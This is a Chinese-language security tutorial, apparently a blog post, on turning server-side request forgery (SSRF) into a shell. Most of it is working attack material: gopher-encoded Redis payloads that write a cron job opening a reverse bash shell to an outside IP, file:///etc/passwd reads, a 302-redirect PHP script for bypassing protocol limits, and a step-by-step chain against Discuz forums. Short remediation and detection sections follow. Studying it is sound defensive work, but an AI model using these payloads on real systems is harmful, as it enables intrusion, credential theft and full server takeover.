SSRF to GET SHELL

背景

SSRF一般用来探测内网服务,但由于应用层使用的request服务(cURL/file_get_contents())一般不只是支持HTTP(S),导致可以深层次利用。

利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的绕过方式。

本地利用

拿常用的cURL举例,cURL默认支持的协议非常多。

$ curl -V
curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8  
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp  
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets  

既然cURL支持这么多协议,那我们在本地先验证下

# dict protocol (操作Redis)
curl -vvv 'dict://127.0.0.1:6379/info'

# file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'

# gopher protocol (一键反弹Bash)
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

# 还有非常多的协议不一一演示
- ftp、ftps (FTP爆破)
- tftp(UDP协议扩展)
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- rtsp
- smb/smbs (连接SMB)
- telnet - 连接SSH/Telnet
- http、https - 内网服务探测
 - 网络服务探测
 - ShellShock命令执行
 - JBOSS远程Invoker war命令执行
 - Java调试接口命令执行
 - axis2-admin部署Server命令执行
 - Jenkins Scripts接口命令执行
 - Confluence SSRF
 - Struts2一堆命令执行
 - counchdb WEB API远程命令执行
 - mongodb SSRF
 - docker API远程命令执行
 - php_fpm/fastcgi 命令执行
 - tomcat命令执行
 - Elasticsearch引擎Groovy脚本命令执行
 - WebDav PUT上传任意文件
 - WebSphere Admin可部署war间接命令执行
 - Apache Hadoop远程命令执行
 - zentoPMS远程命令执行
 - HFS远程命令执行
 - glassfish任意文件读取和war文件部署间接命令执行

远程利用

本地没有问题,那继续看远程利用方式

PHP里面,常用的request服务也是cURL,编写一个基于cURL并且未做任何防护的request服务http://feei.cn/ssrf.php,代码如下

/**
 * Request service(Base cURL)
 *
 * @author Feei <feei@feei.cn>
 * @link   http://blog.feei.cn/ssrf
 */
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  

远程利用方式

# dict protocol (探测Redis)
curl -vvv 'http://feei.cn/ssrf.php?url=dict://127.0.0.1:6379/info'

# file protocol (任意文件读取)
curl -vvv 'http://feei.cn/ssrf.php?url=file:///etc/passwd'

# gopher protocol (一键反弹Bash)
# 当参数传gopher协议的时候需要`rawurlencode()`下,将空格、星号转义下
# -L 可以让cURL请求302跳转后链接
curl -vvv -L 'http://feei.cn/ssrf.php?url=gopher%3A%2F%2F10.15.2.232%3A6379%2F_%2A1%250d%250a%248%250d%250aflushall%250d%250a%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F103.21.140.84%2F6789%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'  

以上是未做任何安全防护的利用方式,我们再来看看一些限制的绕过。

Q1.只允许入参urlHTTP(S)协议

如下(http://feei.cn/ssrf_only_http_s.php):

/**
 * Request service(Base cURL)
 *
 * @author Feei <feei@feei.cn>
 * @link   http://blog.feei.cn/ssrf
 */
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    /**
     * 限制只能请求HTTP(S)的服务
     * @link https://curl.haxx.se/libcurl/c/CURLOPT_PROTOCOLS.html
     */
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); 
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  

A1. 使用cURL follow redirect特性

此时我们无法直接给url中传入dictgopher等协议的参数,当cURL允许follow redirect时:

# https://curl.haxx.se/libcurl/c/CURLOPT_FOLLOWLOCATION.html
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);  

则可以

当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL

那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。

我们继续构造一个302跳转服务,代码如下(http://feei.cn/302.php):

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

利用测试

# dict protocol - 探测Redis
dict://127.0.0.1:6379/info  
curl -vvv 'http://feei.cn/ssrf_only_http_s.php?url=http://feei.cn/302.php?s=dict&i=127.0.0.1&port=6379&query=info'

# file protocol - 任意文件读取
curl -vvv 'http://feei.cn/ssrf_only_http_s.php?url=http://feei.cn/302.php?s=file&query=/etc/passwd'

# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://feei.cn/ssrf_only_http_s.php?url=http://feei.cn/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0  
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

Q2. 如果入参url限制只允许指定白名单的URL

A2. 根据观察大部分程序的修复逻辑是通过[包含]的来判断的

比如Pythonin方法,PHPstrpos()方法或者Javacontains(),这样修复会导致可以轻易绕过的。 比如限制的白名单域是whitelist.com,则可以通过构造http://feei.cn/302.php?whitelist.com绕过。

使用SSRF操作Redis实战(Discuz)

利用@Jannock发现的Discuz中一处SSRF,即可GET SHELL。 也就是说只要你使用了Discuz论坛,那么就可以直接GET SHELL

漏洞影响

只要有一处SSRF(此处用Discuz举例),既可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action

# source/module/forum/forum_ajax.php
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {  
    $content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
    $imagereplace['newimageurl'][] = $value[0];
}

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片,目的是为了绕过Discuz对入参的检测要求。

构造一个跳转到dict://10.11.2.220:6379/vulture.jpg的地址,如下:

http://feei.cn/302.php?s=dict&i=10.11.2.220&p=6379&q=vulture.jpg  

我们让其302到一个内网ip的6379端口,然后根据整个请求完成的时间不同来判定该服务是否存在(时间在1s以内说明服务存在,超过超时时间的则目标服务不存在),构造链接如下

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=6379%26data=vulture.jpg[/img]

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.221%26port=6379%26data=vulture.jpg[/img]  

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

通过dict或者gopher都能操作Redis。 @猪猪侠在wooyun上公布的脚本使用的是dict协议,但经过测试并不能写入正确的cron

我这里使用的是gopher,不需要像dict协议那样多步构造(flushall/set key/set directory/set dbfilename/save),只需要一个请求就可以GET SHELL

gopher://{redis_server}:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a  

只需要让我们的302.php跳到上面地址,即可写入定时任务(cron),得到反弹Bash。

其它利用姿势

除了写cron拿到SHELL,还有还几种姿势。

修复方案

大部分请求外部资源底层都是基于cURLcURL默认支持的协议比较多。

所以只需要通过配置cURL禁止使用除HTTP(S)以外其它协议即可降低危害

_dfsockopen(source/function/function_filesock.php)方法内增加

1和2两条必须做到才能将SSRF从高危(拿服务器)降到低危(内网服务探测)

# 1.限制只允许HTTP(s)服务
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  
# 2.禁止301、302跳转
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);  
# 3. 域名白名单

PHPJavaSSRF漏洞的完整修复方案移步WAVR SSRF

验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

curl -vvv 'http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26i=10.11.2.220%26p=8080%26q=helo.jpg[/img]'  

查看是否有请求的回显,没有则说明修复好了

同类漏洞白盒检测方式

PHP和Java的检测方式类似,找到Request的时候URL的入参是否可以外部控制来判断是否存在SSRF。(已加入Cobra扫描规则)

PHP

/**
 * file_get_contents SSRF Example
 *
 * @author Feei <feei@feei.cn>
 * @link   http://blog.feei.cn/ssrf
 */
# 任意文件读取
$url = 'file:///etc/passwd';
echo file_get_contents($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
echo file_get_contents($url);

/**
 * CURL SSRF Example
 *
 * @author Feei <feei@feei.cn>
 * @link   http://blog.feei.cn/ssrf
 */
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
# 任意文件读取
$url = 'file:///etc/passwd';
curl($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
curl($url);

Java

Reference